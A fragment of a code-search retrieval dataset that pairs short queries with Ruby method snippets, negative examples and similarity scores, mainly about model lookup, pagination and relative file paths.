"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n orig_string = runner.getStringArgumentValue('orig_string', user_arguments)\n new_string = runner.getStringArgumentValue('new_string', user_arguments)\n\n # check the orig_string for reasonableness\n puts orig_string\n if orig_string == ''\n runner.registerError('No search string was entered.')\n return false\n end\n\n # reporting initial condition of model\n starting_spaces = model.getSpaces\n runner.registerInitialCondition(\"The model has #{model.objects.size} objects.\")\n\n # array for objects with names\n named_objects = []\n\n # loop through model objects and rename if the object has a name\n model.objects.each do |obj|\n if !obj.name.empty?\n old_name = obj.name.get\n new_name = obj.setName(old_name.gsub(orig_string, new_string))\n if old_name != new_name\n named_objects << new_name\n end\n end\n end\n\n # reporting final condition of model\n runner.registerFinalCondition(\"#{named_objects.size} objects were renamed.\")\n\n return true\n end",
"def matched_object_and_model\n return unless equipment_object\n return unless equipment_model\n if equipment_object.equipment_model != equipment_model\n errors.add(:base, equipment_object.name + \" must be of type \" + equipment_model.name + \".\\n\")\n end\n end",
"def find_model(name)\n ole = ole_obj.Models(name)\n model_from_ole(ole)\n rescue\n puts \"model #{name} not found\"\n nil\n end",
"def string_to_model(model_string)\n return nil if model_string.nil?\n begin\n class_name = Helper.classify(model_string)\n FlightStats.const_get(class_name)\n rescue NameError => e\n # FlightStats.logger.warn e\n nil\n end\n end",
"def model; eval model_name; end",
"def model; eval model_name; end",
"def exist?(str,opts={})\n obj = !opts[:object].nil? && [:zone,:alias,:cfg].include?(opts[:object]) ? opts[:object] : :zone\n \n response = script_mode do \n query(\"#{show_cmd(obj)} \\\"#{str}\\\"\")\n end\n return response.data.match(/#{Replies::DOES_NOT_EXIST}/) ? false : true\n end",
"def find_model(name)\n @models[name.to_s.downcase.to_sym]\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def name_is_valid?\n return false unless not_nil_and_string(self.name)\n return self.name.length > 0\n end",
"def already_running_model_method? model, method\n methods_from_model(model).include?(method.to_s)\n end",
"def exists?\n !new? && self.class.exists?(to_param, :params => prefix_options)\n end",
"def exists?(str)\n VIM.evaluate(%{exists(\"#{str}\")}).to_i != 0\n end",
"def test_necessary_existence_of_communication_note\n puts @communication.communication_note\n test_necessary_existence_of_model_field(\"cannot be empty\", @communication, :communication_note)\n end",
"def should_be_created_by_system?\n case model.class.to_s\n when 'OfferTranslation', 'OrganizationTranslation'\n model.locale == 'de' || !model.translated_model.in_section?('refugees')\n else\n false # NOTE: this is not used yet -\n # rethink when other models become assignable!\n end\n end",
"def model_xmls?\n repository.application.standalone_model_library?\n end",
"def valid?(name)\n\t\t# If we're using cache, then we need to pre-create an instance of this.\n\t\tcreate(name) if (using_cache)\n\n\t\t(self[name]) ? true : false\n\tend",
"def model_has_section?\n raise(DescriptorError, \"No model attached.\") unless model\n model_has_section = accessor && model.respond_to?(accessor.to_s)\n model_has_section ||= model.kind_of?(Hash) && model.key?(accessor.to_s)\n end"
] | [
"0.7527053",
"0.7440013",
"0.7321153",
"0.71498436",
"0.69572294",
"0.6877183",
"0.68527615",
"0.666068",
"0.664825",
"0.6614182",
"0.65156555",
"0.64835036",
"0.6479785",
"0.64507276",
"0.64369017",
"0.64369017",
"0.643171",
"0.6349107",
"0.6253727",
"0.6243179",
"0.6229256",
"0.62206125",
"0.61426646",
"0.6128101",
"0.6125172",
"0.6096864",
"0.60835654",
"0.6023093",
"0.5989063",
"0.59321845",
"0.5917661",
"0.5885483",
"0.5885483",
"0.5883312",
"0.5859171",
"0.5828532",
"0.5804946",
"0.57910955",
"0.57809025",
"0.57623404",
"0.5759715",
"0.5749848",
"0.5748927",
"0.57390624",
"0.56792164",
"0.56035924",
"0.5568387",
"0.55456096",
"0.54909897",
"0.5489878",
"0.5484745",
"0.5481366",
"0.5481366",
"0.5473496",
"0.5460856",
"0.5455115",
"0.5427932",
"0.5400334",
"0.53887993",
"0.5377735",
"0.5375702",
"0.5372477",
"0.53699446",
"0.5366592",
"0.5354469",
"0.53534985",
"0.53421104",
"0.53341204",
"0.5315729",
"0.53130335",
"0.52927196",
"0.5284885",
"0.52817225",
"0.5280936",
"0.5268425",
"0.5268425",
"0.5265865",
"0.5264391",
"0.52568793",
"0.52557886",
"0.52542335",
"0.5252809",
"0.5252107",
"0.5248642",
"0.5235349",
"0.52268696",
"0.5218563",
"0.5218563",
"0.52167237",
"0.5214283",
"0.5208513",
"0.5208513",
"0.52079934",
"0.52007234",
"0.5185998",
"0.5185784",
"0.51800096",
"0.5166982",
"0.5161384",
"0.5160559"
] | 0.7787579 | 0 |
def collection get_collection_ivar || set_collection_ivar(end_of_association_chain.paginate(:page => params[:page], :per_page => per_page)) end | def per_page
6
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def paginate_collection!\n set_collection get_collection.page(params[:page]).per(self.class.per_page)\n end",
"def page_collection!\n return unless paginate\n\n page = params[:page].to_i\n page = 1 if page.zero?\n page_size = params[:page_size].to_i\n page_size = DEFAULT_PAGE_SIZE if page_size <= 0\n self.collection = collection.page(page).per(page_size)\n end",
"def paginator_and_collection_for(collection_id, options) #:nodoc:\n klass = model\n # page = @params[options[:parameter]]\n page = streamlined_request_context.page\n count = count_collection_for_pagination(klass, options)\n paginator = ActionController::Pagination::Paginator.new(self, count, options[:per_page], page)\n collection = find_collection_for_pagination(klass, options, paginator)\n\n return paginator, collection \n end",
"def collection\n attr_name = \"@\" + self.resources_configuration[:self][:collection_name].to_s\n unless instance_variable_get(attr_name)\n col = end_of_association_chain\n col = col.sorted(params[:sort], default_sort)\n col = col.page(params[:page])\n instance_variable_set(attr_name, col)\n end\n instance_variable_get(attr_name)\n end",
"def collection\n @collection ||= end_of_association_chain.paginate :conditions => 'visible = 1', :page => params[:page], :per_page => 21, :order => 'created_at DESC'\n \n @page_title = 'Shared Photos'\n @page_description = \"Click on a photo to see it's original resolution. Use the next and previous links to move through the list of photos.\"\n @feed_url = formatted_photos_url(:rss)\n \n return @collection\n end",
"def paginate(collection_id, options={})\r\n if collection_id.is_a? Array\r\n per_page = options[:per_page] || 10 \r\n parameter = options[:parameter] || 'page'\r\n current_page = params[parameter]\r\n paginator = Paginator.new self,collection_id.size,per_page,current_page \r\n return [paginator,collection_id[paginator.current_page.offset..paginator.current_page.offset+per_page-1]] \r\n end\r\n super(collection_id,options)\r\n end",
"def collection\n get_collection_ivar || begin\n c = end_of_association_chain\n set_collection_ivar(c.respond_to?(:scoped) ? c.scoped : c.all)\n end\n end",
"def collection\n @collection ||= end_of_association_chain.paginate :include => 'slugs', :page => params[:page], :per_page => 15, :order => 'projects.title'\n end",
"def paginate(collection)\n will_paginate(collection, :inner_window => 2)\n end",
"def collection\n @collection ||= end_of_association_chain.paginate :include => 'slugs', :page => params[:page], :per_page => 9, :order => 'projects.title'\n end",
"def paginate\n paginated?? self : page(1)\n end",
"def next_page_collection\n next_page ? page(next_page, per_page) : nil\n end",
"def pagination_to(collection)\n collection.last_page? ? collection.total_count : collection.offset_value + collection.limit_value\n end",
"def collection\n instance_variable_get(collection_name) || set_collection(find_collection)\n end",
"def paginated(options = {})\n @klass.new(@full_collection, options).paginate\n end",
"def paginate(collection)\n page_size = params.dig(:page, :size)&.to_i\n page_number = params.dig(:page, :number)&.to_i\n return collection unless page_size && page_number\n\n Jaf::Pagination.filter(collection, size: page_size, number: page_number)\n end",
"def paginate(*args)\n options = args.last.is_a?(::Hash) ? args.pop : {}\n page = options.delete(:page) || 1\n items_per_page = options.delete(:per_page) || self.per_page\n finder = (options.delete(:finder) || 'get').to_s\n page_options = {\n \"_pagination\" => 1,\n \"_limit\" => items_per_page,\n \"_page\" => page\n }\n options.merge!(page_options)\n args << options\n collection = send(finder,*args)\n end",
"def paginate_control collection\n previous_query = '?' + URI.escape(request.params.update('page' => collection.page - 1).map{|*a| a.join('=')}.join('&')).to_s\n previous_url = URI.parse(request.url).merge(previous_query).to_s\n\n next_query = '?' + URI.escape(request.params.update('page' => collection.page + 1).map{|*a| a.join('=')}.join('&')).to_s\n next_url = URI.parse(request.url).merge(next_query).to_s\n\n haml(paginate_control_haml, locals: {collection: collection, previous_url: previous_url, next_url: next_url}, layout: false)\n end",
"def paginator; end",
"def pagy_arel_get_vars(collection, vars)\n pagy_set_items_from_params(vars) if defined?(ItemsExtra)\n vars[:count] ||= pagy_arel_count(collection)\n vars[:page] ||= params[vars[:page_param] || DEFAULT[:page_param]]\n vars\n end",
"def paginate!\n paginated?? nil : page!(1)\n end",
"def paginate(options)\n proxy = create_collection_proxy(options)\n proxy.paginate(options)\n end",
"def initialize(collection, items_per_page)\n @collection = collection\n @page_size = items_per_page\n end",
"def collection\n get_collection_ivar || begin\n set_collection_ivar class_name.all\n end\n end",
"def meta_pagination\n {\n itemsCount: collection.total_count,\n pagesCount: collection.total_pages\n }\n end",
"def paginate(collection, page_num, per_page=5)\n num_pages = (collection.count.to_f / per_page).ceil\n page_num = page_num.to_i\n\n # fix wonky client requests\n page_num = 1 if page_num.nil? || page_num <= 0\n page_num = num_pages if page_num > num_pages\n\n collection.slice((page_num - 1) * per_page, per_page)\nend",
"def pagy_get_vars(collection)\n # return the variables to initialize the pagy object\n { count: collection.count, page: params[:page] }\n end",
"def all(params={})\n scoped_attributes = self.class.scopes.inject({}){|r,k| r.merge(k.to_s => send(k))}\n scoped_attributes.merge!(params)\n body = connection.send(collection_method, scoped_attributes).body\n\n collection = self.load(body[collection_root])\n collection.merge_attributes(Cistern::Hash.slice(body, \"count\", \"next_page\", \"previous_page\"))\n collection\n end",
"def collection\n conditions = conditions_from_params\n @collection ||= end_of_association_chain.find(:all, :conditions => conditions)\n end",
"def paginate(collection_id, options = {})\n if !options[:per_page].nil?\n params[:num_per_page] = options[:per_page].to_s\n else\n params[:num_per_page] = '10' if params[:num_per_page].nil?\n end\n\n super(collection_id, options.merge(:per_page => params[:num_per_page].to_i))\n end",
"def find_collection_for_pagination(model, options, paginator)\n model.find(:all,\n :conditions => options[:conditions],\n :order => options[:order_by] || options[:order],\n :joins => options[:join] || options[:joins],\n :include => options[:include],\n :select => options[:select],\n :limit => options[:per_page],\n :offset => paginator.current.offset,\n :piggy => options[:piggy])\n end",
"def paginate(arg, options = {})\n if arg.instance_of?(Symbol) or arg.instance_of?(String)\n # Use default paginate function.\n collection_id = arg # arg is, e.g., :specs or \"specs\"\n super(collection_id, options)\n else\n # Paginate by hand.\n items = arg # arg is a list of items, e.g., users\n items_per_page = options[:per_page] || 10\n page = (params[:page] || 1).to_i\n result_pages = Paginator.new(self, items.length, items_per_page, page)\n offset = (page - 1) * items_per_page\n [result_pages, items[offset..(offset + items_per_page - 1)]]\n end\n end",
"def prepare_show\n @page = params[:page] || 1\n types = CollectionItem.types\n @collection_item_scopes = [[I18n.t(:selected_items), :selected_items], [I18n.t(:all_items), :all_items]]\n @collection_item_scopes << [I18n.t(\"all_#{types[@filter.to_sym][:i18n_key]}\"), @filter] if @filter\n @recently_visited_collections = Collection.find_all_by_id(recently_visited_collections(@collection.id)) if @collection\n end",
"def paginate_collection(collection, options = {})\n if options[:page].nil?\n options[:page] = 1\n end\n if options[:per_page].nil?\n options[:per_page] = 10\n end\n \n WillPaginate::Collection.create(options[:page] , options[:per_page], collection.length) do |pager|\n first = pager.offset\n last = [first + pager.per_page, pager.total_entries].min\n slice = collection[first...last]\n\n # inject the result array into the paginated collection:\n pager.replace(slice)\n\n pager.total_entries = slice.length unless pager.total_entries\n end \n\n end",
"def paginate_collection(collection, options = {})\n default_options = {:per_page => 10, :page => 1}\n options = default_options.merge options\n\n pages = Paginator.new self, collection.size, options[:per_page], options[:page]\n first = pages.current.offset\n last = [first + options[:per_page], collection.size].min\n slice = collection[first...last]\n return [pages, slice]\n end",
"def paginate_collection(collection, options = {})\n default_options = {:per_page => 10, :page => 1}\n options = default_options.merge options\n\n pages = Paginator.new self, collection.size, options[:per_page], options[:page]\n first = pages.current.offset\n last = [first + options[:per_page], collection.size].min\n slice = collection[first...last]\n return [pages, slice]\n end",
"def collection\n @collection ||= collection_values\n end",
"def paginator=(_arg0); end",
"def pagination_page\n @pagination_page\n end",
"def paginated(collection, options = {})\n respond_with_object_and_type collection, options, :paginated, false\n end",
"def per_page\n collection.limit_value\n end",
"def collection_scope; end",
"def total_pages\n collection.total_pages\n end",
"def pagination_from(collection)\n collection.offset_value + 1\n end",
"def comfy_paginate(collection)\n return unless collection\n if defined?(WillPaginate)\n will_paginate collection\n elsif defined?(Kaminari)\n paginate collection, :theme => 'comfy'\n end\n end",
"def current_page\n collection.current_page\n end",
"def paginate(collection , options = {})\n #options = options.merge defaults\n options[:renderer] = BootstrapPagination::Rails\n will_paginate collection, options\n end",
"def pagy_get_items(collection, pagy)\n # this should work with ActiveRecord, Sequel, Mongoid...\n collection.offset(pagy.offset).limit(pagy.items)\n end",
"def will_paginate_extended(collection, options = {})\n all_options = { style: 'display: inline-block;' }\n all_options = options.merge(all_options)\n\n (will_paginate(collection, all_options) || ''.html_safe) +\n ' Per page: '.html_safe +\n select_tag(:per_page, options_for_select([5, 10, 20], params[:per_page] || 10),\n onchange: \"if(this.value){window.location='?per_page='+this.value;}\")\n end",
"def collection \n @search = Redirect.search(params[:search])\n\n #set order by to default or form result\n @search.order ||= \"descend_by_updated_at\"\n\n #set results per page to default or form result\n @collection_count = @search.count\n @collection = @search.paginate(:per_page => Spree::Config[:admin_products_per_page],\n :page => params[:page])\n end",
"def meta_for_collection collection\n {\n :total_pages => collection.total_pages,\n :current_page => collection.current_page,\n :page_size => collection.per_page,\n :total_entries => collection.total_entries \n }\n end",
"def pagination(paginated_collection)\n Pagination::Template.new(paginated_collection).render \n end",
"def paginatable?; paginatable; end",
"def index\n@categories = Category.paginate(page: params[:page], per_page: 5) #list all categories, with pagination\nend",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection_ivar(collection) #:nodoc:\n instance_variable_set(\"@#{resource_collection_name}\", collection)\n end",
"def get_collection_ivar # rubocop:disable Naming/AccessorMethodName\n instance_variable_get collection_ivar\n end",
"def paginate(collection, partial)\n if params[:page].present?\n render partial: partial, collection: collection\n else\n render action_name\n end\n end",
"def instantiate_collection_with_collection(collection, prefix_options = {})\n if collection.is_a?(Hash) && collection[\"type\"] == \"collection\"\n collectables = collection.values.find{|c| c.is_a?(Hash) || c.is_a?(Array) }\n collectables = [collectables].compact unless collectables.kind_of?(Array)\n instantiated_collection = WillPaginate::Collection.create(collection[\"current_page\"], collection[\"per_page\"], collection[\"total_entries\"]) do |pager|\n pager.replace instantiate_collection_without_collection(collectables, prefix_options)\n end \n else\n instantiate_collection_without_collection(collection, prefix_options)\n end \n end",
"def find_collection\n @collection = Collection.find(params[:id])\n end",
"def pagy_get_items(collection, pagy)\n # handle arrays\n return collection[pagy.offset, pagy.items] if collection.is_a? Array\n # this should work with ActiveRecord, Sequel, Mongoid...\n collection.offset(pagy.offset).limit(pagy.items)\nend",
"def set_paginate\n @current_page = get_current_page\n\n # TODO: This is written a few times.\n\n if @timekeeper.count > 0\n @page_results = WillPaginate::Collection.create(@current_page, 10, @timekeeper.count) do |pager|\n @start = (@current_page - 1) * 10\n # @start = (@current_page)*get_timekeeper_page_size\n pager.replace @timekeeper.to_a[@start, 10]\n end\n end\n end",
"def paginate opts = {}\n @paginator = true\n page = (opts[:page] || 1).to_i\n per_page = (opts[:per_page] || 20).to_i\n page = 1 if page < 1\n limit( per_page, ( page - 1 ) * per_page )\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def collection\n @collection ||= load_collection\n end",
"def pagination\n [ :next_page ]\n end",
"def pagination_dict(collection)\n {\n current_page: collection.current_page,\n total_pages: collection.total_pages,\n total_count: collection.count\n }\n end",
"def next_page\n collection.next_page\n end",
"def page_count\n @collection.max + 1\n end",
"def paginated_scope(relation)\n instance_variable_set(\"@projects\", relation.paginate(:page => params[:page], :per_page => 10))\n end",
"def paginate(page = 1, per_page = 25)\n if Object.const_defined?(\"WillPaginate\")\n WillPaginate::Collection.create(page, per_page, count) do |pager|\n pager.replace(self[pager.offset, pager.per_page]).to_a\n end\n elsif Object.const_defined?(\"Kaminari\")\n Kaminari.paginate_array(self).page(page).per(per_page)\n else\n self\n end\n end",
"def set_page_collection\n @page_collection = PageCollection.find_by(id: params[:id])\n @page_collection ||= PageCollection.find_by(id: params[:page_collection_id])\n\n unless @page_collection\n redirect_to root_path, notice: \"Collection not found!\"\n return\n end\n end",
"def initialize(collection, options = {})\n @page = Integer(options[:page] || 1)\n @per_page = Integer(options[:per_page] || Pagination.per_page)\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.friendly.find params[:id]\n end",
"def paginate(current_page, request = nil)\n changed\n @page_criteria = dbi.paginate(current_page,@per_page,:request => request, :pagination_method => @pagination_method)\n notify_observers(:paginate,self,request)\n @page_criteria\n end",
"def collection_params\n params[:collection]\n end",
"def set_collection\n @collection = Collection.friendly.find(params[:id])\n end",
"def current_collection() instance_variable_get(\"@#{resource_plural}\") end",
"def paginate; false; end",
"def set_page_vars\n @page = params[:page] ? params[:page].to_i : START_PAGE\n @per_page = PER_PAGE\n end",
"def previous_page_collection\n previous_page ? page(previous_page, per_page) : nil\n end",
"def pagination_dict(collection)\n {\n current_page: collection.try(:current_page) || DEFAULT_PAGE,\n next_page: collection.try(:next_page),\n prev_page: collection.try(:prev_page),\n total_pages: collection.try(:total_pages) || 0,\n total_count: collection.try(:total_count) || 0,\n }\n end",
"def paginated_collected(options = {})\n paginated(options)\n end",
"def set_collection\n @collection = Collection.find(params[:collection_id])\n end",
"def per_page; end",
"def twill_paginate(collection = nil, options = {})\n #require 'will_paginate/array'\n will_paginate collection, {:previous_label => I18n.t('commons.previous'), :next_label => I18n.t('commons.next')}.merge(options)\n end",
"def pages\n @pages \n end",
"def paginate(options={})\n pg_options, find_options = options.partition{|k,v| [:page, :per_page, :total_entries].include?(k)}\n \n pg_options[:page] ||= 1\n pg_options[:per_page] ||= per_page\n \n WillPaginate::Collection.create(pg_options[:page], pg_options[:per_page], pg_options[:total_entries]) do |pager|\n find_options[:params] = (find_options[:params] || {}).merge(:offset => pager.offset, :limit => pager.per_page) \n \n arr = find(:all, find_options) || []\n if pg_options[:total_entries]\n pager.total_entries = pg_options[:total_entries]\n else \n pager.total_entries = arr.size > pager.per_page ? arr.size : count(find_options[:params])\n end\n \n if arr.size > per_page\n pager.replace arr[pager.offset, pager.per_page]\n else\n pager.replace arr\n end\n end\n end",
"def current_page\n @collection.current_page\n end",
"def current_page\n @collection.current_page\n end",
"def paginator\n @paginator ||= paginator_klass.new(page_params)\n end",
"def collection\n self.class.collection\n end",
"def collection\n self.class.collection\n end",
"def paginate_by(relation, page = 1, count = PER_PAGE)\n relation.page(page).per(count)\n end"
] | [
"0.8350211",
"0.7644634",
"0.7447002",
"0.742697",
"0.7368124",
"0.723076",
"0.7190033",
"0.70924854",
"0.70822847",
"0.7052436",
"0.69765174",
"0.6965738",
"0.69570506",
"0.6946383",
"0.6890084",
"0.6862361",
"0.6753844",
"0.6737098",
"0.6735109",
"0.6734916",
"0.66923046",
"0.6678822",
"0.6670692",
"0.6655407",
"0.6646429",
"0.6631108",
"0.66226786",
"0.66154754",
"0.65887785",
"0.65745723",
"0.65515375",
"0.6545874",
"0.65371716",
"0.65287614",
"0.65280825",
"0.65280825",
"0.6525475",
"0.65110123",
"0.6508787",
"0.65071577",
"0.6497829",
"0.6480201",
"0.6477913",
"0.64644575",
"0.64559984",
"0.644162",
"0.6430408",
"0.64073026",
"0.6406299",
"0.6402218",
"0.63796955",
"0.6379038",
"0.6369356",
"0.6365702",
"0.63600063",
"0.63600063",
"0.63600063",
"0.6352176",
"0.6349978",
"0.6346411",
"0.63462335",
"0.6326793",
"0.62947714",
"0.62827015",
"0.6275235",
"0.62653214",
"0.62653214",
"0.62653214",
"0.62653214",
"0.62633705",
"0.62539524",
"0.6251016",
"0.62475723",
"0.6247227",
"0.6246442",
"0.6246055",
"0.6236607",
"0.62238765",
"0.62070495",
"0.62070495",
"0.62065053",
"0.6202465",
"0.6198863",
"0.61939067",
"0.61866224",
"0.6179581",
"0.6160464",
"0.6152224",
"0.6150393",
"0.6148993",
"0.6143514",
"0.6128845",
"0.61265963",
"0.61174095",
"0.61071604",
"0.61043704",
"0.61043704",
"0.6100051",
"0.6099425",
"0.6099425",
"0.60899633"
] | 0.0 | -1 |
The relative path to the file | def path
real_path = Pathname.new(root).realpath.to_s
full_path.sub(%r{^#{real_path}/}, '')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def relative_path\n @relative_path ||= File.join(@dir, @name)\n end",
"def relative_path\n must_be File\n Pathname.new(self.full_path).relative_path_from(Pathname.new(Dir.pwd)).to_s\n end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def get_relative_path(path)\n Util::path_rel_to_path(path, recipe_file.path).to_s\n end",
"def rel_path(file)\n File.dirname(file)\n end",
"def relative_file_path(file_path)\n file_path.gsub(/#{pwd}\\//, '')\n end",
"def relative_path\n @relative_path ||= File.join(*[@dir, @name].map(&:to_s).reject(&:empty?)).delete_prefix(\"/\")\n end",
"def relative_path\n @relative_path ||= File.join(@dir, @target)\n end",
"def relative_path\n @relative_path ||= PathManager.join(@dir, @name).delete_prefix(\"/\")\n end",
"def relative_path\n name\n end",
"def relative_path(options = {})\n File.join(self.site.content_dir(options), sanitize_filename(self.name))\n end",
"def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end",
"def relative_path(options = {})\n @relative_path ||= Pathname.new(filename).relative_path_from(Pathname.new(base)).to_s\n path_with_cache_buster(@relative_path, options)\n end",
"def fullpath\n File.expand_path( @file )\n end",
"def relative_path(filename)\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces.size..-1])\n end",
"def rel relative_path\r\n return File.dirname(__FILE__) + \"/../\" + relative_path\r\nend",
"def relative_path\n self.path.sub(File.expand_path(options[:root_dir]) + '/', '')\n end",
"def relative_directory; end",
"def file() = pathname.relative_path_from(Cnfs.config.paths.definitions)",
"def file_path\n File.join(dir,filename)\n end",
"def relative_path\n @local_path.relative_path_from(@platform.local_path)\n end",
"def relative_path(path)\n\t\tSass::Script::String.new(File.join(File.expand_path(Dir.pwd), path.value))\n\tend",
"def path\n File.join(self.drive.path, self.relative_path)\n end",
"def relative_path\n @relative_path ||= File.join('_static', @name)\n end",
"def getFullPath(relativePath)\n return baseDir + relativePath\n end",
"def path\n @file.path\n end",
"def path\n ::File.join(@folder, @file)\n end",
"def determine_path\n if source_line.file == SourceLine::DEFAULT_FILE\n return source_line.file\n end\n\n full_path = File.expand_path(source_line.file)\n pwd = Dir.pwd\n\n if full_path.start_with?(pwd)\n from = Pathname.new(full_path)\n to = Pathname.new(pwd)\n\n return from.relative_path_from(to).to_s\n else\n return full_path\n end\n end",
"def file_path\n dir\n end",
"def relative_src(filename, dir=nil)\n file = expand_src filename, dir\n base = Pathname.new File.dirname path_info\n Pathname.new(file).relative_path_from(base).to_s\n end",
"def relative_path(path)\n path = File.expand_path(File.dirname(__FILE__) + '/' + path)\n \"'#{path}'\"\nend",
"def abspath(file)\n File.absolute_path(file)\nend",
"def file_path\n @file_path ||= lookup_file_path\n end",
"def relative_config_file\n File.join(@settings[:config_dir], @settings[:config_file])\n end",
"def relative_path\n File.join(original_relative_dir, STORE_RESIZE_DIR, filename)\n end",
"def relative_path(filename)\n @mount_dir_pieces ||= @mount_dir.size\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces..-1])\n end",
"def relative_path\n @relative_path ||= File.join(doc.relative_path, \"#excerpt\")\n end",
"def relative_path(path)\n path = destination_root.relative_path(path) || path\n path.empty? ? \".\" : path\n end",
"def relative_path_from(from); end",
"def file\n File.join(root, FILENAME)\n end",
"def relative_path_from(entry)\n @path.relative_path_from(entry.path)\n end",
"def to_relative_path\n File.join('.', to.path(identify).to_s)\n end",
"def get_absolute_path(file)\n File.expand_path file\nend",
"def relative_path\n @relative_path ||= absolute_path.sub(/^#{Bookshelf::remote_folder}\\/?/,'')\n end",
"def relative_path(pathname)\n pwd = Pathname.new('.').realpath\n pathname.file_ref.real_path.relative_path_from(pwd)\n end",
"def user_file_path(file)\n path = \"#{Settings.source_dir}/#{file}\"\n ext = \".#{Settings.partials_extension}\"\n return path if path.end_with? ext\n\n \"#{path}#{ext}\"\n end",
"def expanded_path\n relative_path(dependency.berksfile.filepath)\n end",
"def path\n @file\n end",
"def rel_path(path)\n Pathname(path).expand_path.relative_path_from(Pathname(Dir.pwd))\n end",
"def path\n data.fetch(\"path\") { relative_path }\n end",
"def path\n @file.path\n end",
"def full_path(relative_filename)\n File.join(@mount_dir, relative_filename)\n end",
"def relative_path(from, to); end",
"def relative_path_to(path, relative_to = nil)\n if relative_to\n path = File.expand_path(\n # symlink, e.g. \"../../../../grid5000/environments/etch-x64-base-1.0.json\"\n path,\n # e.g. : File.join(\"/\", File.dirname(\"grid5000/sites/rennes/environments/etch-x64-base-1.0\"))\n File.join('/', File.dirname(relative_to))\n ).gsub(%r{^/}, '')\n end\n path\n end",
"def path\n file.url\n end",
"def file\n File.join(directory, @file)\n end",
"def path\n # TODO: is this trip really necessary?!\n data.fetch(\"path\") { relative_path }\n end",
"def file_path\n dir_name + file_name\n end",
"def relative_path(path = @pwd, to = @root)\n Pathname.new(path).relative_path_from(Pathname.new(to)).to_s\n end",
"def relative(file)\n if File.directory?(full_path)\n file[full_path.length+1..-1]\n else\n File.basename(file)\n end\n end",
"def get_file_path\n @path\n end",
"def getFullPath(relativePath)\n return @baseDirectory.fullPath + relativePath\n end",
"def relativePath\n return (parentPathElements + [name]).join(\"/\")\n end",
"def relative_path\n @relative_path ||= path.sub(\"#{site.collections_path}/\", \"\")\n end",
"def path(rel)\n File.join(File.dirname(__FILE__), \"..\", rel)\nend",
"def relative_path(p = path)\n anchor = p.ftype == \"directory\" ? @root_path : \"public\"\n p.relative_path_from(Pathname.new(anchor).realpath)\n end",
"def path\n @file\n end",
"def local_file(file)\n File.join @cwd, file\n end",
"def relative_path(path)\n path[self.prefix.size..-1].gsub(%r{^/}, '').tap do |pth|\n #puts \"self.prefix=#{self.prefix}, path=#{path}, result=#{pth}\"\n end\n end",
"def path\n \"%s/%s\" % [dirname, filename]\n end",
"def figure_path(file)\n return file if Pathname.new(file).absolute?\n $LOAD_PATH.each do |path|\n found = File.join(path, file)\n return File.expand_path(found) if File.file?(found)\n end\n file\n end",
"def path(file)\n File.join File.dirname(__FILE__), '../../templates/', file\n end",
"def file_path; end",
"def file_path\n end",
"def relative_path\n File.join(@repo, @bundle)\n end",
"def file_path\n\t\tself.class.file_path\n\tend",
"def file_path\n File.join(AssetMapper.assets_dir, filename)\n end",
"def cleaned_relative_path; end",
"def cleaned_relative_path; end",
"def path\n return if @file.blank?\n if is_path?\n File.expand_path(@file)\n elsif @file.respond_to?(:path) && !@file.path.blank?\n File.expand_path(@file.path)\n end\n end",
"def relative(filename)\n filename.sub(%r{#{File.expand_path(File.join(File.dirname(__FILE__), \"..\", \"src\"))}/}, \"\")\nend",
"def relative_directory\n return '' unless @directory_root\n @path - @directory_root - name\n end",
"def relativeWebPath()\n return File.join('/', @@tracksDir, \"#{self.fileName}#{self.fileType}\")\n end",
"def path\n File.join(self.folder, self.filename)\n end",
"def relative\n return self if relative?\n @relativized ||= relative_path_from root\n end",
"def path_of(path)\n File.join(self.path, path)\n end",
"def file(filename) File.read(File.absolute_path(filename, File.dirname($PROGRAM_NAME))) end",
"def relative_path(*relative)\n Pathname.pwd.join(*(relative.flatten.map(&:to_s))).expand_path\n end",
"def file_path( target )\n # theme.site do not work.\n File.join(page_layout.site.path, self.path, file_name(target)) \n end",
"def asset_filepath(file)\n File.join(base_path, file)\n end",
"def read_path_with_own_path\n File.join(read_path, path)\n end",
"def fep(file)\n return File.expand_path(file)\n end",
"def relativePath\n #N Without this the path elements won't be joined together with \"/\" to get the relative path as a single string\n return @pathElements.join(\"/\")\n end",
"def get_resource_path\r\n res_path = File.dirname(__FILE__) + \"/../../res\"\r\n return File.expand_path(res_path)\r\n end",
"def absolute_path(relative_path)\n quoted_string(File.expand_path(File.join(File.dirname(options[:filename]), relative_path.value)))\n end",
"def read_relative_file(name, from=__FILE__)\n File.read(File.join(File.dirname(from), name))\n end",
"def relative_dest_path\n @relative_dest_path ||= begin\n path = case ext\n when \".scss\", \".slim\"\n path_without_ext\n when \".md\"\n path_without_ext.join('index.html')\n else\n @path\n end\n\n Pathname.new(path.to_s.downcase)\n end\n end"
] | [
"0.81655407",
"0.81536263",
"0.8112074",
"0.8112074",
"0.8112074",
"0.8112074",
"0.8112074",
"0.80664766",
"0.7969286",
"0.79668343",
"0.7916978",
"0.7881229",
"0.784363",
"0.78282386",
"0.78060204",
"0.78033465",
"0.77767164",
"0.77248824",
"0.77170414",
"0.7669392",
"0.7634583",
"0.7629874",
"0.762234",
"0.7587235",
"0.7576786",
"0.7533039",
"0.7507354",
"0.7506435",
"0.7477243",
"0.74726754",
"0.7460542",
"0.74598235",
"0.7454612",
"0.74440306",
"0.7430772",
"0.7414597",
